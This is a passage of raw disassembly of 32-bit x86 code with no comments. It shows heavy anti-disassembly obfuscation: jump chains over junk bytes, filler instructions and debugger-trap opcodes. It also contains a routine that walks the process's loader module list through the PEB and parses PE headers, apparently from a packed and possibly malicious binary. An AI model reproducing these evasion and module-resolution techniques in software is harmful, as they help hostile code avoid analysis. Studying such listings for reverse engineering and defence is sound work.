; CODE XREF: .text:004080CFj jmp short loc_4080E4 ; --------------------------------------------------------------------------- db 6Fh, 7Ch ; --------------------------------------------------------------------------- loc_4080FE: ; CODE XREF: .text:004080ABj add eax, 81688B5Ah db 26h, 67h adc al, 0BDh mov dl, 3 cmp byte ptr [ecx+75AC5FFEh], 0Ah jnp short near ptr loc_4080A9+1 icebp setalc push edi loc_408115: ; CODE XREF: .text:loc_4080E4j push 28Ah push esi push eax adc esi, 80C95Ah test ecx, ebx rcr eax, 7 mov esi, ecx dec eax inc eax cld pop eax pop esi push 5FF0CD3Ch push edi push esi mov edi, 81905Ah cmp al, 0F1h lea esi, ds:80AF5Ah and esi, 80AA5Ah xor esi, ebx xor esi, esi cld pop esi pop edi push 24000h jmp short loc_40817F ; --------------------------------------------------------------------------- dw 0E5DCh db 0BAh ; --------------------------------------------------------------------------- loc_408159: ; CODE XREF: .text:loc_40817Fj jmp short loc_408192 ; --------------------------------------------------------------------------- db 6Bh dd 478661C8h, 0E3129D74h, 3F5E99E0h, 5B6A550Ch, 3736D1F8h dd 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch ; --------------------------------------------------------------------------- sub [ecx-1Ah], al loc_40817F: ; CODE XREF: .text:00408154j jmp short loc_408159 ; --------------------------------------------------------------------------- db 27h, 0D4h, 7Dh dd 7940C372h, 356C1FBEh, 0B1583BCAh ; --------------------------------------------------------------------------- xchg eax, esi pop ss loc_408192: ; CODE XREF: .text:loc_408159j call near ptr sub_408E23 jmp short loc_4081C6 ; --------------------------------------------------------------------------- db 0E9h, 6Eh, 0Fh dd 2B7AA59Ch, 7462188h ; --------------------------------------------------------------------------- loc_4081A4: ; CODE XREF: .text:loc_4081C6j jmp short loc_4081D6 ; --------------------------------------------------------------------------- dw 5D34h dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h, 0C9D09382h dd 85FCEFCEh, 1E80BDAh db 0A6h, 0E7h ; --------------------------------------------------------------------------- loc_4081C6: ; CODE XREF: .text:00408197j jmp short loc_4081A4 ; --------------------------------------------------------------------------- dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch db 18h, 71h ; --------------------------------------------------------------------------- loc_4081D6: ; CODE XREF: .text:loc_4081A4j add esp, 0Ch jmp short loc_408209 ; --------------------------------------------------------------------------- db 0E2h dd 2EA93073h db 0CFh, 5Ch ; --------------------------------------------------------------------------- loc_4081E2: ; CODE XREF: .text:loc_408209j jmp short loc_408219 ; --------------------------------------------------------------------------- dd 48EB3A65h, 0F4C706E1h, 6063921Dh, 8CBFDE19h, 78DBEAD5h dd 24B7B651h, 9053428Dh, 0BCAF8E89h, 0A8CB9A45h db 0C1h ; --------------------------------------------------------------------------- loc_408209: ; CODE XREF: .text:004081D9j jmp short loc_4081E2 ; --------------------------------------------------------------------------- db 66h dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh db 0BBh ; --------------------------------------------------------------------------- loc_408219: ; CODE XREF: .text:loc_4081E2j mov eax, ebp jmp short loc_40824D ; --------------------------------------------------------------------------- db 6Dh, 0A2h, 33h dd 8FEE69F0h ; --------------------------------------------------------------------------- loc_408224: ; CODE XREF: .text:loc_40824Dj jmp short loc_408260 ; --------------------------------------------------------------------------- dw 251Ch dd 0A108ABFAh, 0DDB487C6h, 0D9202352h, 954C7F9Eh, 11389BAAh dd 4DE47776h, 49501302h, 57C6F4Eh, 81688B5Ah db 26h ; --------------------------------------------------------------------------- loc_40824D: ; CODE XREF: .text:0040821Bj jmp short loc_408224 ; --------------------------------------------------------------------------- db 67h db 14h ; --------------------------------------------------------------------------- loc_408251: ; CODE XREF: .text:loc_408260j jmp short loc_40827F ; --------------------------------------------------------------------------- db 0BDh dd 0B98003B2h, 75AC5FFEh, 0F1987B0Ah ; --------------------------------------------------------------------------- loc_408260: ; CODE XREF: .text:loc_408224j jmp short loc_408251 ; --------------------------------------------------------------------------- dw 57D6h dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h, 0E3129D74h dd 3F5E99E0h db 0Ch, 55h, 6Ah ; --------------------------------------------------------------------------- loc_40827F: ; CODE XREF: .text:loc_408251j push esi push edi push esi cmp ecx, esp xor edi, edi ror edi, 0Ah inc esi add esi, 90915Ah xchg esi, esi push eax pop edi cmp edi, eax test al, dl dec esi cld pop esi pop edi push eax jmp short loc_4082CD ; --------------------------------------------------------------------------- push cs das cmp al, 0C5h sbb cl, [ebx+28h] loc_4082A6: ; CODE XREF: .text:loc_4082CDj jmp short loc_4082DD ; --------------------------------------------------------------------------- dd 0D427E641h, 40C3727Dh, 6C1FBE79h, 583BCA35h, 41796B1h dd 70B322EDh, 9C0F6EE9h, 882B7AA5h, 34074621h ; --------------------------------------------------------------------------- pop ebp loc_4082CD: ; CODE XREF: .text:0040829Dj jmp short loc_4082A6 ; --------------------------------------------------------------------------- db 0D2h db 0A3h, 0A0h, 59h ; --------------------------------------------------------------------------- loc_4082D3: ; CODE XREF: .text:loc_4082DDj jmp short loc_408300 ; --------------------------------------------------------------------------- push ds dec esp adc eax, 91B81B2Ah loc_4082DD: ; CODE XREF: .text:loc_4082A6j jmp short loc_4082D3 ; --------------------------------------------------------------------------- db 0F6h dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh ; --------------------------------------------------------------------------- loc_4082F0: ; CODE XREF: .text:loc_408300j jmp short loc_40831F ; --------------------------------------------------------------------------- dw 94E7h dd 83323Dh, 2CDF7E39h, 18FB8AF5h ; --------------------------------------------------------------------------- loc_408300: ; CODE XREF: .text:loc_4082D3j jmp short loc_4082F0 ; --------------------------------------------------------------------------- dw 5671h dd 0E2ADC4D7h, 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h dd 0DE196063h db 0BFh, 8Ch, 0D5h ; --------------------------------------------------------------------------- loc_40831F: ; CODE XREF: .text:loc_4082F0j push 24000h push ebx push esi mov bx, 4949h stc xor ebx, ebp cld pop esi pop ebx call near ptr sub_405202 jmp short loc_408367 ; --------------------------------------------------------------------------- db 53h db 90h db 89h, 8Eh, 0AFh db 0BCh, 45h ; --------------------------------------------------------------------------- loc_40833E: ; CODE XREF: .text:loc_408367j jmp short loc_40837E ; --------------------------------------------------------------------------- dd 0C1A8CB9Ah, 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah dd 6D849716h, 69F033A2h, 251C8FEEh, 0A108ABFAh db 0C6h, 87h, 0B4h ; --------------------------------------------------------------------------- loc_408367: ; CODE XREF: .text:00408335j jmp short loc_40833E ; --------------------------------------------------------------------------- fst qword ptr [edx+23h] and cl, bl sahf loc_40836F: ; CODE XREF: .text:loc_40837Ej jmp short loc_408395 ; --------------------------------------------------------------------------- db 7Fh, 4Ch, 95h dd 11389BAAh, 4DE47776h ; --------------------------------------------------------------------------- add dl, [ebx] loc_40837E: ; CODE XREF: .text:loc_40833Ej jmp short loc_40836F ; --------------------------------------------------------------------------- loc_408380: ; CODE XREF: .text:loc_408395j jmp short loc_4083AC ; --------------------------------------------------------------------------- dw 4950h dd 57C6F4Eh, 81688B5Ah, 0BD146726h, 0B98003B2h db 0FEh ; --------------------------------------------------------------------------- loc_408395: ; CODE XREF: .text:loc_40836Fj jmp short loc_408380 ; --------------------------------------------------------------------------- db 5Fh dd 7B0A75ACh, 57D6F198h, 0F3622D44h, 4FAE29B0h, 6BBAE5DCh ; --------------------------------------------------------------------------- loc_4083AC: ; CODE XREF: .text:loc_408380j xor eax, eax push eax push edx cmp al, 0C4h test al, ch mov ax, 49DDh test eax, eax dec edx cld pop edx pop eax dec eax jmp short loc_4083EF ; --------------------------------------------------------------------------- db 0E0h, 99h, 5Eh dd 6A550C3Fh ; --------------------------------------------------------------------------- loc_4083C8: ; CODE XREF: .text:loc_4083EFj jmp short loc_4083FF ; --------------------------------------------------------------------------- dw 0F85Bh dd 0A43736D1h, 10D3C20Dh, 3C2F0E09h, 284B1AC5h, 0D427E641h dd 40C3727Dh, 6C1FBE79h, 583BCA35h ; --------------------------------------------------------------------------- mov cl, 96h pop ss loc_4083EF: ; CODE XREF: .text:004083BFj jmp short loc_4083C8 ; --------------------------------------------------------------------------- db 4, 0EDh, 22h db 0B3h ; --------------------------------------------------------------------------- loc_4083F5: ; CODE XREF: .text:loc_4083FFj jmp short loc_408422 ; --------------------------------------------------------------------------- db 70h dd 9C0F6EE9h db 0A5h, 7Ah, 2Bh ; --------------------------------------------------------------------------- loc_4083FF: ; CODE XREF: .text:loc_4083C8j jmp short loc_4083F5 ; --------------------------------------------------------------------------- db 88h, 21h, 46h dd 0D25D3407h, 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 82CD64F7h dd 0CEC9D093h, 0DA85FCEFh ; --------------------------------------------------------------------------- or ebp, eax loc_408422: ; CODE XREF: .text:loc_4083F5j mov ecx, eax push esi push edx mov esi, ebx rol esi, 0FAh not esi cmp dl, al xor edx, ecx cld pop edx pop esi mov edx, eax jmp short loc_408467 ; --------------------------------------------------------------------------- db 0DFh, 2Ch, 0F5h ; --------------------------------------------------------------------------- loc_40843B: ; CODE XREF: .text:loc_408467j jmp short loc_40847A ; --------------------------------------------------------------------------- db 8Ah, 0FBh, 18h dd 0C4D75671h, 3073E2ADh, 5CCF2EA9h, 48EB3A65h, 0F4C706E1h dd 6063921Dh, 8CBFDE19h, 78DBEAD5h, 24B7B651h ; --------------------------------------------------------------------------- lea eax, [edx+53h] loc_408467: ; CODE XREF: .text:00408436j jmp short loc_40843B ; --------------------------------------------------------------------------- align 2 mov [esi-65BA4351h], ecx loc_408470: ; CODE XREF: .text:loc_40847Aj jmp short loc_40849D ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h db 0FDh, 0F2h ; --------------------------------------------------------------------------- loc_40847A: ; CODE XREF: .text:loc_40843Bj jmp short loc_408470 ; --------------------------------------------------------------------------- inc ebx loc_40847D: ; CODE XREF: .text:loc_40849Dj jmp short loc_4084AD ; --------------------------------------------------------------------------- db 0C0h dd 0EC9F3EF9h, 0D8BB4AB5h, 84971631h, 0F033A26Dh, 1C8FEE69h dd 8ABFA25h, 0B487C6A1h db 0DDh ; --------------------------------------------------------------------------- loc_40849D: ; CODE XREF: .text:loc_408470j jmp short loc_40847D ; --------------------------------------------------------------------------- push edx and esp, [eax] fstp dword ptr [esi-556AB381h] wait cmp [ecx], dl jbe short loc_408524 loc_4084AD: ; CODE XREF: .text:loc_40847Dj cpuid jmp short loc_4084DD ; --------------------------------------------------------------------------- db 7Ch, 5, 5Ah dd 2681688Bh ; --------------------------------------------------------------------------- loc_4084B8: ; CODE XREF: .text:loc_4084DDj jmp short loc_4084EF ; --------------------------------------------------------------------------- dw 1467h dd 8003B2BDh, 0AC5FFEB9h, 987B0A75h, 4457D6F1h, 0B0F3622Dh dd 0DC4FAE29h, 0C86BBAE5h, 74478661h ; --------------------------------------------------------------------------- popf loc_4084DD: ; CODE XREF: .text:004084AFj jmp short loc_4084B8 ; --------------------------------------------------------------------------- loc_4084DF: ; CODE XREF: .text:loc_4084EFj jmp short loc_40850A ; --------------------------------------------------------------------------- db 12h, 0E3h, 0E0h ; --------------------------------------------------------------------------- cdq pop esi aas or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa loc_4084EF: ; CODE XREF: .text:loc_4084B8j jmp short loc_4084DF ; --------------------------------------------------------------------------- db 0A4h, 0Dh, 0C2h ; --------------------------------------------------------------------------- loc_4084F4: ; CODE XREF: .text:loc_40850Aj jmp short loc_408525 ; --------------------------------------------------------------------------- dw 10D3h dd 3C2F0E09h, 284B1AC5h, 0D427E641h, 40C3727Dh db 79h, 0BEh ; --------------------------------------------------------------------------- loc_40850A: ; CODE XREF: .text:loc_4084DFj jmp short loc_4084F4 ; --------------------------------------------------------------------------- dd 0CA356C1Fh, 96B1583Bh, 22ED0417h, 6EE970B3h, 7AA59C0Fh dd 4621882Bh ; --------------------------------------------------------------------------- loc_408524: ; CODE XREF: .text:004084ABj pop es loc_408525: ; CODE XREF: .text:loc_4084F4j xor edi, edi push edx push ebx lea ebx, ds:80A49Ah not edx dec edx cmp al, bh cld pop ebx pop edx dec edi jmp short loc_408564 ; --------------------------------------------------------------------------- sub bl, [ebx] mov eax, 64F7F691h loc_408541: ; CODE XREF: .text:loc_408564j jmp short loc_408574 ; --------------------------------------------------------------------------- db 0CDh dd 0C9D09382h, 85FCEFCEh, 1E80BDAh, 3D94E7A6h, 39008332h dd 0F52CDF7Eh, 7118FB8Ah, 0ADC4D756h ; --------------------------------------------------------------------------- loc_408564: ; CODE XREF: .text:00408538j jmp short loc_408541 ; --------------------------------------------------------------------------- loc_408566: ; CODE XREF: .text:loc_408574j jmp short loc_408597 ; --------------------------------------------------------------------------- dd 0A93073E2h, 655CCF2Eh, 0E148EB3Ah ; --------------------------------------------------------------------------- loc_408574: ; CODE XREF: .text:loc_408541j jmp short loc_408566 ; --------------------------------------------------------------------------- dw 0C706h db 0F4h, 1Dh, 92h ; --------------------------------------------------------------------------- loc_40857B: ; CODE XREF: .text:loc_408597j jmp short loc_4085A8 ; --------------------------------------------------------------------------- db 63h, 60h, 19h dd 0D58CBFDEh, 5178DBEAh, 8D24B7B6h, 89905342h, 45BCAF8Eh db 9Ah, 0CBh, 0A8h ; --------------------------------------------------------------------------- loc_408597: ; CODE XREF: .text:loc_408566j jmp short loc_40857B ; --------------------------------------------------------------------------- db 0C1h, 66h, 0A7h dd 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh ; --------------------------------------------------------------------------- loc_4085A8: ; CODE XREF: .text:loc_40857Bj cmp edi, edx jnz loc_408653 push eax push edx ror edx, 47h neg eax xor edx, edx dec eax mov dx, 499Fh mov edx, 80899Ah push ecx pop edx cld pop edx pop eax cmp edi, ecx jnz loc_408653 push ebx push esi mov esi, eax xor esi, edx mov bx, 494Bh mov bx, 4938h xor ebx, ebp shl ebx, 0A8h not ebx loc_4085E5: ; CODE XREF: .text:00408646j ; .text:0040864Aj cmp al, 0EAh cld dec ebx cld pop esi pop ebx sub ebp, 1000h jmp short loc_408620 ; --------------------------------------------------------------------------- dd 251C8FEEh db 0FAh, 0ABh, 8 ; --------------------------------------------------------------------------- loc_4085FB: ; CODE XREF: .text:loc_408620j jmp short loc_408630 ; --------------------------------------------------------------------------- db 0A1h, 0C6h, 87h dd 2352DDB4h, 7F9ED920h, 9BAA954Ch, 77761138h, 13024DE4h dd 6F4E4950h, 8B5A057Ch, 67268168h ; --------------------------------------------------------------------------- loc_408620: ; CODE XREF: .text:004085F2j jmp short loc_4085FB ; --------------------------------------------------------------------------- dw 0BD14h dd 0B98003B2h ; --------------------------------------------------------------------------- loc_408628: ; CODE XREF: .text:loc_408630j jmp short loc_408653 ; --------------------------------------------------------------------------- dw 5FFEh dd 7B0A75ACh ; --------------------------------------------------------------------------- loc_408630: ; CODE XREF: .text:loc_4085FBj jmp short loc_408628 ; --------------------------------------------------------------------------- cwde icebp setalc push edi inc esp sub eax, 29B0F362h scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi jz short loc_4085E5 adc ah, bl loopne loc_4085E5 pop esi aas or al, 55h push 5Bh clc loc_408653: ; CODE XREF: .text:004085AAj ; .text:004085CAj ... xor eax, eax push esi push eax jns short loc_40865F rcr eax, 0Bh inc esi xor eax, edx loc_40865F: ; CODE XREF: .text:00408657j xor eax, ebx cmp eax, 80CA5Ah lea eax, ds:809A1Ah clc cld pop eax pop esi cmp eax, 1 jz loc_408DE6 jmp short loc_4086AB ; --------------------------------------------------------------------------- db 0Eh, 2Fh, 3Ch ; --------------------------------------------------------------------------- loc_40867F: ; CODE XREF: .text:loc_4086ABj jmp short loc_4086C2 ; --------------------------------------------------------------------------- db 0C5h, 1Ah, 4Bh dd 27E64128h, 0C3727DD4h, 1FBE7940h, 3BCA356Ch, 1796B158h dd 0B322ED04h, 0F6EE970h, 2B7AA59Ch, 7462188h db 34h, 5Dh, 0D2h ; --------------------------------------------------------------------------- loc_4086AB: ; CODE XREF: .text:0040867Aj jmp short loc_40867F ; --------------------------------------------------------------------------- db 0A3h, 0A0h, 59h ; --------------------------------------------------------------------------- loc_4086B0: ; CODE XREF: .text:loc_4086C2j jmp short loc_4086DD ; --------------------------------------------------------------------------- dw 0FF1Eh db 0CCh db 15h, 2Ah, 1Bh dd 0F7F691B8h, 9382CD64h ; --------------------------------------------------------------------------- ror cl, 1 loc_4086C2: ; CODE XREF: .text:loc_40867Fj jmp short loc_4086B0 ; --------------------------------------------------------------------------- dd 85FCEFCEh, 1E80BDAh ; --------------------------------------------------------------------------- cmpsb loc_4086CD: ; CODE XREF: .text:loc_4086DDj jmp short loc_4086FE ; --------------------------------------------------------------------------- db 0E7h dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch db 18h ; --------------------------------------------------------------------------- loc_4086DD: ; CODE XREF: .text:loc_4086B0j jmp short loc_4086CD ; --------------------------------------------------------------------------- db 71h dd 0ADC4D756h, 0A93073E2h, 655CCF2Eh, 0E148EB3Ah, 1DF4C706h dd 19606392h, 0D58CBFDEh db 0EAh, 0DBh ; --------------------------------------------------------------------------- loc_4086FE: ; CODE XREF: .text:loc_4086CDj mov eax, large fs:30h push edi push ecx ror edi, 33h xor edi, esi lea ecx, ds:808A9Ah cld pop ecx pop edi mov eax, [eax+0Ch] jmp short loc_408747 ; --------------------------------------------------------------------------- mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- loc_408720: ; CODE XREF: .text:loc_408747j jmp short loc_40875C ; --------------------------------------------------------------------------- dw 0C1A8h dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h dd 69F033A2h, 251C8FEEh, 0A108ABFAh db 0C6h, 87h, 0B4h ; --------------------------------------------------------------------------- loc_408747: ; CODE XREF: .text:00408717j jmp short loc_408720 ; --------------------------------------------------------------------------- fst qword ptr [edx+23h] and cl, bl sahf loc_40874F: ; CODE XREF: .text:loc_40875Cj jmp short loc_40877B ; --------------------------------------------------------------------------- db 7Fh, 4Ch, 95h dd 11389BAAh, 4DE47776h ; --------------------------------------------------------------------------- loc_40875C: ; CODE XREF: .text:loc_408720j jmp short loc_40874F ; --------------------------------------------------------------------------- add dl, [ebx] loc_408760: ; CODE XREF: .text:loc_40877Bj jmp short loc_408792 ; --------------------------------------------------------------------------- dw 4950h dd 57C6F4Eh, 81688B5Ah, 0BD146726h, 0B98003B2h, 75AC5FFEh db 0Ah db 7Bh ; { db 98h ; ˜ ; --------------------------------------------------------------------------- loc_40877B: ; CODE XREF: .text:loc_40874Fj jmp short loc_408760 ; --------------------------------------------------------------------------- db 0F1h, 0D6h, 57h dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h db 74h, 9Dh ; --------------------------------------------------------------------------- loc_408792: ; CODE XREF: .text:loc_408760j mov edi, [eax+0Ch] jmp short loc_4087A9 ; --------------------------------------------------------------------------- push 5Bh clc sal dword ptr [esi], 1 aaa movsb loc_40879E: ; CODE XREF: .text:loc_4087A9j jmp short loc_4087D0 ; --------------------------------------------------------------------------- or eax, 910D3C2h push cs das cmp al, 0C5h loc_4087A9: ; CODE XREF: .text:00408795j jmp short loc_40879E ; --------------------------------------------------------------------------- sbb cl, [ebx+28h] inc ecx loc_4087AF: ; CODE XREF: .text:loc_4087D0j jmp short loc_4087E0 ; --------------------------------------------------------------------------- db 0E6h, 27h, 0D4h ; --------------------------------------------------------------------------- jge short loc_408828 retn ; --------------------------------------------------------------------------- db 40h dd 6C1FBE79h, 583BCA35h, 41796B1h, 70B322EDh, 9C0F6EE9h dd 882B7AA5h ; --------------------------------------------------------------------------- loc_4087D0: ; CODE XREF: .text:loc_40879Ej jmp short loc_4087AF ; --------------------------------------------------------------------------- dw 4621h ; --------------------------------------------------------------------------- loc_4087D4: ; CODE XREF: .text:loc_4087E0j jmp short loc_408803 ; --------------------------------------------------------------------------- pop es xor al, 5Dh shl byte ptr [ebx-0E1A660h], cl int 3 ; Trap to Debugger loc_4087E0: ; CODE XREF: .text:loc_4087AFj jmp short loc_4087D4 ; --------------------------------------------------------------------------- dw 2A15h dd 0F691B81Bh, 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh dd 323D94E7h, 7E390083h db 0DFh, 2Ch, 0F5h ; --------------------------------------------------------------------------- loc_408803: ; CODE XREF: .text:loc_4087D4j push edi jmp short loc_408830 ; --------------------------------------------------------------------------- dw 0ADC4h dd 0A93073E2h db 2Eh ; --------------------------------------------------------------------------- loc_40880D: ; CODE XREF: .text:loc_408830j jmp short loc_408840 ; --------------------------------------------------------------------------- db 0CFh dd 0EB3A655Ch, 0C706E148h, 63921DF4h, 0BFDE1960h, 0DBEAD58Ch dd 0B7B65178h ; --------------------------------------------------------------------------- loc_408828: ; CODE XREF: .text:004087B4j and al, 8Dh inc edx push ebx nop ; --------------------------------------------------------------------------- db 89h, 8Eh, 0AFh ; --------------------------------------------------------------------------- loc_408830: ; CODE XREF: .text:00408804j jmp short loc_40880D ; --------------------------------------------------------------------------- loc_408832: ; CODE XREF: .text:loc_408840j jmp short loc_408863 ; --------------------------------------------------------------------------- dd 0CB9A45BCh, 0A766C1A8h, 43F2FD54h ; --------------------------------------------------------------------------- loc_408840: ; CODE XREF: .text:loc_40880Dj jmp short loc_408832 ; --------------------------------------------------------------------------- dw 0F9C0h dd 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h, 69F033A2h, 251C8FEEh dd 0A108ABFAh, 0DDB487C6h ; --------------------------------------------------------------------------- push edx and esp, [eax] loc_408863: ; CODE XREF: .text:loc_408832j ; .text:00408A83j cmp ebp, [edi+18h] jnz loc_408A76 jmp short loc_408897 ; --------------------------------------------------------------------------- dw 1138h db 76h ; --------------------------------------------------------------------------- loc_408871: ; CODE XREF: .text:loc_408897j jmp short loc_4088AA ; --------------------------------------------------------------------------- db 77h dd 13024DE4h, 6F4E4950h, 8B5A057Ch, 67268168h, 3B2BD14h dd 5FFEB980h, 7B0A75ACh, 57D6F198h db 44h, 2Dh, 62h ; --------------------------------------------------------------------------- loc_408897: ; CODE XREF: .text:0040886Cj jmp short loc_408871 ; --------------------------------------------------------------------------- db 0F3h, 0B0h, 29h ; --------------------------------------------------------------------------- scasb dec edi loc_40889E: ; CODE XREF: .text:loc_4088AAj jmp short loc_4088CD ; --------------------------------------------------------------------------- dd 6BBAE5DCh, 478661C8h db 74h, 9Dh ; --------------------------------------------------------------------------- loc_4088AA: ; CODE XREF: .text:loc_408871j jmp short loc_40889E ; --------------------------------------------------------------------------- dd 99E0E312h db 5Eh, 3Fh, 0Ch ; --------------------------------------------------------------------------- loc_4088B3: ; CODE XREF: .text:loc_4088CDj jmp short loc_4088E0 ; --------------------------------------------------------------------------- db 55h, 6Ah, 5Bh dd 3736D1F8h, 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch, 27E64128h db 0D4h ; --------------------------------------------------------------------------- loc_4088CD: ; CODE XREF: .text:loc_40889Ej jmp short loc_4088B3 ; --------------------------------------------------------------------------- jge short loc_408943 retn ; --------------------------------------------------------------------------- dw 7940h ; --------------------------------------------------------------------------- mov esi, 0CA356C1Fh cmp ebx, [eax-4Fh] xchg eax, esi pop ss add al, 0EDh loc_4088E0: ; CODE XREF: .text:loc_4088B3j add esp, 4 jmp short loc_408907 ; --------------------------------------------------------------------------- db 0A5h, 7Ah, 2Bh ; --------------------------------------------------------------------------- mov [ecx], ah inc esi pop es loc_4088EC: ; CODE XREF: .text:loc_408907j jmp short loc_40891E ; --------------------------------------------------------------------------- dw 5D34h dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h, 0C9D09382h db 0CEh, 0EFh, 0FCh ; --------------------------------------------------------------------------- loc_408907: ; CODE XREF: .text:004088E3j jmp short loc_4088EC ; --------------------------------------------------------------------------- test ebx, edx or ebp, eax loc_40890D: ; CODE XREF: .text:loc_40891Ej jmp short loc_40893D ; --------------------------------------------------------------------------- db 1 dd 3D94E7A6h, 39008332h, 0F52CDF7Eh ; --------------------------------------------------------------------------- mov bh, bl loc_40891E: ; CODE XREF: .text:loc_4088ECj jmp short loc_40890D ; --------------------------------------------------------------------------- dd 0D7567118h, 73E2ADC4h, 0CF2EA930h db 5Ch, 65h ; --------------------------------------------------------------------------- loc_40892E: ; CODE XREF: .text:loc_40893Dj jmp short loc_40895C ; --------------------------------------------------------------------------- dd 0E148EB3Ah, 1DF4C706h, 19606392h db 0DEh ; --------------------------------------------------------------------------- loc_40893D: ; CODE XREF: .text:loc_40890Dj jmp short loc_40892E ; --------------------------------------------------------------------------- db 0BFh db 8Ch, 0D5h, 0EAh ; --------------------------------------------------------------------------- loc_408943: ; CODE XREF: .text:004088CFj fstp tbyte ptr [eax+51h] mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dd 0A766C1A8h, 43F2FD54h ; --------------------------------------------------------------------------- loc_40895C: ; CODE XREF: .text:loc_40892Ej push 22F50h push eax loc_408962: ; CODE XREF: .text:004089C8j push ecx cmp ecx, ebx jnz loc_40896D xor eax, esp loc_40896D: ; CODE XREF: .text:00408965j not eax xchg eax, ecx std cld pop ecx pop eax add [esp], ebp push esi push ecx xchg esi, esi dec esi cld loc_40897E: ; CODE XREF: .text:004089DFj pop ecx pop esi mov eax, [edi+1Ch] jmp short loc_4089B1 ; --------------------------------------------------------------------------- db 84h, 6Dh, 0A2h dd 0EE69F033h ; --------------------------------------------------------------------------- loc_40898C: ; CODE XREF: .text:loc_4089B1j jmp short loc_4089C1 ; --------------------------------------------------------------------------- dw 1C8Fh dd 8ABFA25h, 0B487C6A1h, 202352DDh, 4C7F9ED9h, 389BAA95h dd 0E4777611h, 5013024Dh, 7C6F4E49h db 5 ; --------------------------------------------------------------------------- loc_4089B1: ; CODE XREF: .text:00408983j jmp short loc_40898C ; --------------------------------------------------------------------------- db 5Ah dd 2681688Bh db 67h ; --------------------------------------------------------------------------- loc_4089B9: ; CODE XREF: .text:loc_4089C1j jmp short loc_4089E4 ; --------------------------------------------------------------------------- db 14h ; --------------------------------------------------------------------------- mov ebp, 0B98003B2h loc_4089C1: ; CODE XREF: .text:loc_40898Cj jmp short loc_4089B9 ; --------------------------------------------------------------------------- db 0FEh ; --------------------------------------------------------------------------- pop edi lodsb jnz short loc_4089D2 jnp short loc_408962 icebp setalc push edi inc esp loc_4089CE: ; CODE XREF: .text:loc_4089E4j jmp short loc_4089FF ; --------------------------------------------------------------------------- db 2Dh, 62h ; --------------------------------------------------------------------------- loc_4089D2: ; CODE XREF: .text:004089C6j rep mov al, 29h scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi jz short loc_40897E adc ah, bl ; --------------------------------------------------------------------------- db 0E0h ; --------------------------------------------------------------------------- loc_4089E4: ; CODE XREF: .text:loc_4089B9j jmp short loc_4089CE ; --------------------------------------------------------------------------- cdq pop esi aas or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das cmp al, 0C5h sbb cl, [ebx+28h] inc ecx loc_4089FF: ; CODE XREF: .text:loc_4089CEj pop dword ptr [edi+1Ch] jmp short loc_408A32 ; --------------------------------------------------------------------------- dd 1FBE7940h db 6Ch, 35h, 0CAh ; --------------------------------------------------------------------------- loc_408A0B: ; CODE XREF: .text:loc_408A32j jmp short loc_408A42 ; --------------------------------------------------------------------------- db 3Bh, 58h, 0B1h dd 0ED041796h, 0E970B322h, 0A59C0F6Eh, 21882B7Ah, 5D340746h dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah ; --------------------------------------------------------------------------- div bh loc_408A32: ; CODE XREF: .text:00408A02j jmp short loc_408A0B ; --------------------------------------------------------------------------- dd 9382CD64h ; --------------------------------------------------------------------------- loc_408A38: ; CODE XREF: .text:loc_408A42j jmp short loc_408A65 ; --------------------------------------------------------------------------- dw 0C9D0h dd 85FCEFCEh ; --------------------------------------------------------------------------- fimul dword ptr [ebx] loc_408A42: ; CODE XREF: .text:loc_408A0Bj jmp short loc_408A38 ; --------------------------------------------------------------------------- dd 0E7A601E8h, 83323D94h, 0DF7E3900h, 0FB8AF52Ch, 0D7567118h dd 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch ; --------------------------------------------------------------------------- dec eax loc_408A65: ; CODE XREF: .text:loc_408A38j jmp loc_408AA1 ; --------------------------------------------------------------------------- push eax push edi xchg eax, eax std rcl edi, 0F8h dec eax cld pop edi pop eax loc_408A76: ; CODE XREF: .text:00408866j mov edi, [edi] push edi push edx mov edx, esi dec edi cld pop edx pop edi cmp [esp], edi jnz loc_408863 push ecx push edi xor edi, edi shl edi, 0Ah clc xor ecx, edx ror edi, 98h mov edi, 808822h mov ecx, ecx dec ecx cld pop edi pop ecx loc_408AA1: ; CODE XREF: .text:loc_408A65j mov ebx, ebp push ecx push ebx test al, dh inc ebx xor ecx, edx jmp loc_408AB0 ; --------------------------------------------------------------------------- dec ecx loc_408AB0: ; CODE XREF: .text:00408AAAj xor ebx, eax mov ecx, edx mov ebx, esi test al, dh cld pop ebx pop ecx add ebx, [ebx+3Ch] jmp short loc_408AEE ; --------------------------------------------------------------------------- dd 428D24B7h db 53h, 90h, 89h ; --------------------------------------------------------------------------- loc_408AC7: ; CODE XREF: .text:loc_408AEEj jmp short loc_408AFE ; --------------------------------------------------------------------------- db 8Eh, 0AFh, 0BCh dd 0A8CB9A45h, 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h dd 84971631h, 0F033A26Dh, 1C8FEE69h db 25h, 0FAh ; --------------------------------------------------------------------------- loc_408AEE: ; CODE XREF: .text:00408ABEj jmp short loc_408AC7 ; 